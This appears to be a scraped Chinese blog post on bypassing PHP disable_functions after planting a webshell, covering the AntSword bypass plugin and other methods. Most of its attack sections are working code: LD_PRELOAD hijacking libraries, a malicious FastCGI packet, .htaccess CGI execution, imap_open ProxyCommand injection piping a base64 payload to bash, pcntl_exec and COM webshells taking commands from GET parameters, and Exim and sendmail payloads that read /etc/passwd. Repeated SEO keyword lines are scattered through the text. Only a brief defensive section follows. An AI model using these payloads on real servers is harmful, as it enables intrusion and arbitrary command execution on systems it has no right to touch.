LinuxGod.net
Linux大神网——精选每一篇高品质的技术干货
  1. 首页
  2. 开源快讯
  3. 正文

0渗透操作0x02绕过disable_functions插件(组图)

2022年12月16日 108点热度

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

0x00 前言在实际渗透一些php站的时候,时常会遇到有了webshell,却无法执行命令的情况,大多数是因为使用 disablefunctions 禁用了命令执行的相关函数。判断某种绕过方法的关联依赖函数是否也被禁用了或者依赖环境是否可用是较麻烦的,本文则主要讲Antsword插件实现的disablefunctions方法及整理的其他公开可利用方式。0x01 Antsword自18年8月的 v2.0.0-beta 版本开始linux服务器系统,引入了加载器的概念用户及开发者无需安装额外的环境,只需要下载对应平台的加载器可直接运行当前最新的开发版和发行版

linux ant 安装配置_linux ant 环境变量配置文件_linux 配置php环境

同版本开始引入了插件的概念linux ant 环境变量配置文件,用户可从远程PlugStore安装现成插件或结合自身需求编写插件来扩展蚁剑的功能,如端口扫描、权限提升等一些列后渗透操作

linux ant 环境变量配置文件_linux 配置php环境_linux ant 安装配置

0x02 绕过disable_functions插件Medicean在4月份基于Antsword插件规则编写了asbypassphpdisablefunctions插件,便于绕过disable_functions的命令执行限制

1.LD_PRELOAD

利用原理LD_PRELOAD 是Linux的环境变量,它允许你定义在程序运行前优先加载的动态链接库在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的

linux ant 环境变量配置文件_linux 配置php环境_linux ant 安装配置

mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程linux 虚拟主机,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数

linux 配置php环境_linux ant 安装配置_linux ant 环境变量配置文件

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

以mail()函数为例,查看sendmail调用的函数

可选择不需传递参数的get型函数进行劫持,通过 man 命令查看getegid()函数的实现

重写 getegid() 函数进行编译

// testcc.c#include #include 
uid_t getegid(void){ if (getenv("LD_PRELOAD") == NULL){//防止其他函数也被劫持 return 0; } unsetenv("LD_PRELOAD");//用完即删 system("whoami > testcc.txt"); return 0;}

成功劫持getegid()函数执行命令

linux ant 环境变量配置文件_linux 配置php环境_linux ant 安装配置

插件实现

在插件中,该原理脚本如下:

<?php  putenv("LD_PRELOAD=/tmp/hack.so");  error_log("a",1);  mail("a@localhost","","","","");?>

hack.so会调用php开启一个默认配置的PHPServer

并在web目录生成一个.antproxy.php,与新PHPServer建立Socket连接,转发流量到index.php一句话执行命令

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

成功使用此绕过插件的三个必要条件是:mail()函数和error_log()函数所调用的sendmail已安装不限制 /usr/sbin/sendmail 的执行mail()函数和error_log()函数有一个未被禁用那如果目标环境没有sendmail或者禁止调用sendmail的话,该插件方法就无法使用扩展方法可利用__attribute__ ((__constructor__)),其为GCC的C 语言扩展修饰符。当它出现在共享对象中时,一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,实现对共享库的劫持

// testss.c#define _GNU_SOURCE#include #include #include 
__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD"); system(cmd);}

使用php尝试执行开启新PHPServer的命令

<?php$cmd = "php -n -S 127.0.0.1:6666 -t /var/www/html";putenv("CMD=".$cmd);$so_path = "/tmp/testss.so";putenv("LD_PRELOAD=".$so_path);;error_log("a",1);?>

执行成功,可直接将流量转发到6666的PHPServer继续命令执行

2.Fastcgi/PHP-FPM

利用原理Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量

例如用户访问,假设web目录为/var/www/html,那么请求会被解析成如下键值对:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/hackme.php',    'SCRIPT_NAME': '/hackme.php',    'QUERY_STRING': '?test=1',    'REQUEST_URI': '/hackme.php?test=1',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '6666',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'}

其中SCRIPT_FILENAME 用于指定执行的文件,但php-fpm的默认配置中有一个选项:security.limit_extensions 限制了fpm可执行的后缀文件

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

linux 配置php环境_linux ant 安装配置_linux ant 环境变量配置文件

我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件: PHP_VALUE及PHP_ADMIN_VALUE

linux ant 安装配置_linux ant 环境变量配置文件_linux 配置php环境

PHP_VALUE 可动态修改模式为PHP_INI_USER和PHP_INI_ALL的配置项,但不能设置on/off等布尔值

例如使用如下fastcgi指令,通过设置 auto_prepend_file 来实现运行第一个php代码前加载指定的HACK.php

fastcgi_param PHP_VALUE "auto_prepend_file=/var/html/www/7488/HACK.php";

PHP_ADMIN_VALUE可以设置php.ini的属性值任意配置项且不会被.htaccess和ini_set()函数所覆盖但无法覆盖disablefunctions,原因是因为在php运行时,已经按照disablefunctions将禁用函数对应的地址从函数hash列表中剔除

构造攻击协议包如下:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/hackme.php',    'SCRIPT_NAME': '/hackme.php',    'QUERY_STRING': '?test=1',    'REQUEST_URI': '/hackme.php?test=1',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '6666',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'    'PHP_VALUE': 'auto_prepend_file = php://input',    'PHP_ADMIN_VALUE': 'allow_url_include = On'}

设置auto_prepend_file = php://input以及allow_url_include = On,实现在执行php文件执行前进行远程文件包含POST内容,从而任意代码执行插件实现判断选定的fpm连接方式为Unix Socket还是TCP

linux 配置php环境_linux ant 安装配置_linux ant 环境变量配置文件

紧接着与第一种LD_PRELOAD实现相同,将启动新的PHPServer命令插入代上传的so文件指定字节位置,进行上传

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

so文件上传成功后,初始化fastcgiclient,构造恶意fastcgi协议连接php-fpm,PHP_VALUE与PHP_ADMIN_VALUE均将extension指向so文件,发送协议后动态加载我们的扩展文件,启动默认配置的PHPServer

linux ant 环境变量配置文件_linux ant 安装配置_linux 配置php环境

最后上传代理脚本,将流量通过index.php转发到新PHPServer,实现绕过disable_function

3.Apache Mod CGI

利用原理Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行

linux 配置php环境_linux ant 安装配置_linux ant 环境变量配置文件

在.htaccess文件中可定制用户定义标识头

添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本

linux 配置php环境_linux ant 环境变量配置文件_linux ant 安装配置

添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序

linux ant 安装配置_linux ant 环境变量配置文件_linux 配置php环境

此时需要保证.htaccess可以加载进当前web环境

当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效

linux ant 安装配置_linux ant 环境变量配置文件_linux 配置php环境

配置好cgi文件的环境变量后可通过构造如下脚本来实现命令执行

#! /bin/bashecho -ne "Content-Type: text/htmlnn"//发送给浏览器告诉浏览器文件的内容类型,否则500whoami

插件实现插件脚本首先判断modcgi是否启用、当前目录是否可写、.htaccess是否可正常使用

备份.htaccess文件并配置好新的.htaccess以及写入cgi脚本文件shell.ant,并赋执行权限

最后启动一个新的终端,将我们输入的命令put进shell.ant对其发起请求,实现命令执行

4.Json Serializer UAF && PHP7 GC with Certain Destructors UAF

利用原理php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围是linux,php7.0-7.3php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令影响范围是linux,php 7.1-7.3插件实现两插件首先判断系统版本及php版本是否满足使用条件

启新终端,通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令

linux 配置php环境_linux ant 安装配置_linux ant 环境变量配置文件

linux ant 环境变量配置文件_linux 配置php环境_linux ant 安装配置

两EXP函数通过调用原作者POC实现

0x03 其他绕过方式1.IMAP Bypassimap_open()函数需安装imap扩展,用于打开连接某个邮箱的IMAP流

当启用了rsh和ssh功能并且在debian/ubuntu中会默认调用ssh进行连接

//imap.php<?php$payload = "whoami >/tmp/result";$encoded_payload = base64_encode($payload);$server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');echo file_get_contents("/tmp/result");?>

由于未对参数传递进行正确编码,导致ssh建立连接可利用t代替空格进行-oProxyCommand参数命令拼接,从而调用系统shell执行命令

2.PCNTL Bypass

当php安装并使用pcntl扩展时,可借助其pcntlexec()函数直接执行命令来尝试绕过disablefunctions

通过文件读写来达到命令执行回显

<?phpheader("Content-Type: text/plain");$cmd = "/tmp/exec";@unlink($cmd);$c = "#!/usr/bin/env bashn".$_GET[x]."> /tmp/output.txtn";file_put_contents($cmd, $c);chmod($cmd, 0777);$cd = "/tmp/output.txt";print_r(file_get_contents($cd));switch (pcntl_fork()) {  case 0:    $ret = pcntl_exec($cmd);    exit("case 0");  default:    echo "case 1";    break;}

3.COM Bypass该利用方式调用windows的COM组件需要在php.ini中开启并添加extension

com.allow_dcom = trueextension = php_com_dotnet.dll

linux ant 安装配置_linux ant 环境变量配置文件_linux 配置php环境

通过COM组件直接调用WScript.shell或Shell.Application执行系统命令

<?php$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';if($wsh == 'wscript') {    $command = $_GET['cmd'];    $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");    $exec = $wshit->exec("cmd /c".$command);    $stdout = $exec->StdOut();    $stroutput = $stdout->ReadAll();    echo $stroutput;}elseif($wsh == 'application') {    $command = $_GET['cmd'];    $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");    $exec = $wshit->ShellExecute("cmd","/c ".$command);}else {  echo(0);}?>

4.EXIM Bypassmail()函数的第五个additional_parameters参数可用于设置命令行选项传递给配置为发送邮件时使用的程序

例如,当将sendmail与-C -X 选项一起使用时,可读取文件并输出到指定文件

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

<?phpmail("","","",""," -C/etc/passwd -X/tmp/result");?>//     -C file     Use alternate configuration file.  Sendmail refuses to run as root if an alternate configuration file is specified.//     -X logfile  Log all traffic in and out of mailers in the indicated log file.  This should only be used as a last resort for debug-ging mailer bugs.  It will log a lot of data very quickly.

当系统使用Exim4来发送邮件时 -be 参数支持运行扩展模式对指定字符串扩展格式进行解析

${run{<command> <args>}{<string1>}{<string2>}}//执行命令<command> <args>,成功返回string1,失败返回string2${substr{<string1>}{<string2>}{<string3>}}//字符串的截取,在string3中从string1开始截取string2个字符

使用run进行命令执行,但空格等特殊字符无法识别

借助其substr函数来截取字符串进行替换特殊字符

如,使用substr{13}{1}{$tod_log} 从第14个字符开始截取一个字符为:

substr{10}{1}{$tod_log}第11个字符即为空格

//From l3m0n<?php$c = @$_GET['lemon'];$result_file = "/tmp/test.txt";$tmp_file = '/tmp/aaaaaaaaaaa.sh';$command = $c . '>' . $result_file;file_put_contents($tmp_file, $command);$payload = "-be ${run{/bin/bash${substr{10}{1}{$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";mail("a@localhost", "", "", "", $payload);echo file_get_contents($result_file);@unlink($tmp_file);@unlink($result_file);?>

5.FFI BypassFFI(Foreign Function Interface)是 PHP7.4 新加入的功能,即外部函数接口linux ant 环境变量配置文件,允许从共享库中调用C代码FFI的使用如下分为声明和调用两个部分

利用ffi来引入libc中的system函数执行命令

linux ant 安装配置_linux 配置php环境_linux ant 环境变量配置文件

0x04 如何防御disable_function禁用参考

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

PHP7使用28 Nov 2019以后版本正确设置open_basedir及目录的可写权限做好上述插件和组件的配置核查使用主机监控和waf对webshell进行检测和敏感操作拦截参考Hack PHP mail additional_parameters%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/

更多好文

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: cgi php 函数调用 命令模式
最后更新:2022年12月16日

Linux大神网

每日更新,欢迎收藏♥ 不积跬步无以至千里,加油,共勉。

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

Linux大神网

每日更新,欢迎收藏♥
不积跬步无以至千里,加油,共勉。

最新 热点 随机
最新 热点 随机
阿里云>社区>主题地图S>查看存储推荐 Linux的内核放在了哪里?/boot的启动目录一览 Linux中修改文件权限的命令、创建者所在组、所有人 linux到底难不难学呢?推荐可以查看Linux命令大全 Linux下修改文件权限的权限与所有权的实现就显得很有必要 国内性价比很高的Linux虚拟主机系统安装的流程是什么? 1.Linux磁盘分区和目录Linux发行版本之间的差别很少? 基于命令修改文件的权限命令-ld 学习Linux最简单、最实用的环境就是虚拟机环境(上) 计算机是如何启动的?、内核操作系统的启动流程 一个免费软件时间跟进的小白鼠是什么鬼?专题 如何在Linux上安装虚拟机的结果大多都是怎么安装的 Linux启动过程中的几个部分内核的引导(图) 指令中各个make-C~/linuxM=`pwd编译 虚拟机安装Ubuntu操作系统-Ubuntu空间20G镜像下载 启动第一步--加载BIOS当你打开计算机电源(组图) 个人笔记本安装Ubuntu20.04LTS下载地址 腾讯云服务器上也搭建一套环境,安装成功自动启动 go语言被称作互联网时代的c语言,用来开发嵌入式linux的理由 Linux5.12的推送请求不断涌入新开放的合并窗口预计4月底看到它的稳定版本
Linux5.12的推送请求不断涌入新开放的合并窗口预计4月底看到它的稳定版本Linux自主访问控制机制模块详细分析:网络安全标准资料go语言被称作互联网时代的c语言,用来开发嵌入式linux的理由【指南】Linux中网络接口卡的10种方法使用腾讯云服务器上也搭建一套环境,安装成功自动启动Linux线程的操作、多线程的同步和互斥的基本单位个人笔记本安装Ubuntu20.04LTS下载地址RedHatLinux-安装MySQL入门到精通启动第一步--加载BIOS当你打开计算机电源(组图)内核为什么需要内核线程Linux内核可以看作一个服务进程?虚拟机安装Ubuntu操作系统-Ubuntu空间20G镜像下载再传到linux2.配置数据库的环境和路径3.登陆数据库修改指令中各个make-C~/linuxM=`pwd编译Linux内核页表管理中那些鲜为人知的作用是什么?(图)Linux启动过程中的几个部分内核的引导(图)Linux常用应用工具软件安装管理——RedHatEnterprise存储库如何在Linux上安装虚拟机的结果大多都是怎么安装的如需最新mainline内核版本下载并安装新版本删除旧内核一个免费软件时间跟进的小白鼠是什么鬼?专题关于Linux系统版本命令的一些看法及解决办法的通知
双核虚拟机中有中有两个线程函数执行(多CPU) MBR方式主引导记录(MBR)代码的扇区方式引导 《嵌入式C/C++系统工程师实训教程》培训班 Linux发行版的学习方法与学习中应该注意的一些事 关闭虚拟机的防火墙:验证进程(上) 虚拟磁盘文件丢失怎么办?数据恢复结果怎么样? 我试图将从java作业获得的时间信息与linux性能监视工具 Linux换国内镜像源(概念问题)--Linux 10.5内核定时器编程TIMER_SOFTIRQ软中断,运行当前处理器CPU上到期的所有定时器 Linux端口占用情况的教程操作环境 如何吸引厂商开发更多更丰富的Linux软件问题 可编程器由器与可扩展器由器(ScalableRouter)的精确定义 unix环境高级编程第二版 pdf 中国十大Java排行榜,第一名竟然是他!! 关于Linux虚拟化解决方案的优势我们已经有所了解的 如何在Linux系统上下载和安装Steam呢?如何操作 2.5创建和配置虚拟机2.5.1创建虚拟机双击桌面的VMwarePlayer 如何用命令修改Linuxrename命令的用法?命令用法 《Linux基础知识》命令文件操作相关命令操作命令 Linux常用命令大全(标记为红色的位必须掌握!) 入门到就业线上直播课:linux查询端口的使用方法
标签聚合
sudo 电脑 shell unix 虚拟机 linux服务器 软件 linux系统 命令模式 文件目录
书籍
课程
技术群
技术干货大合集↓
  • 2023年1月 / 150篇
  • 2022年12月 / 187篇
  • 2022年11月 / 76篇

COPYRIGHT © 2023 linuxgod.net ALL RIGHTS RESERVED.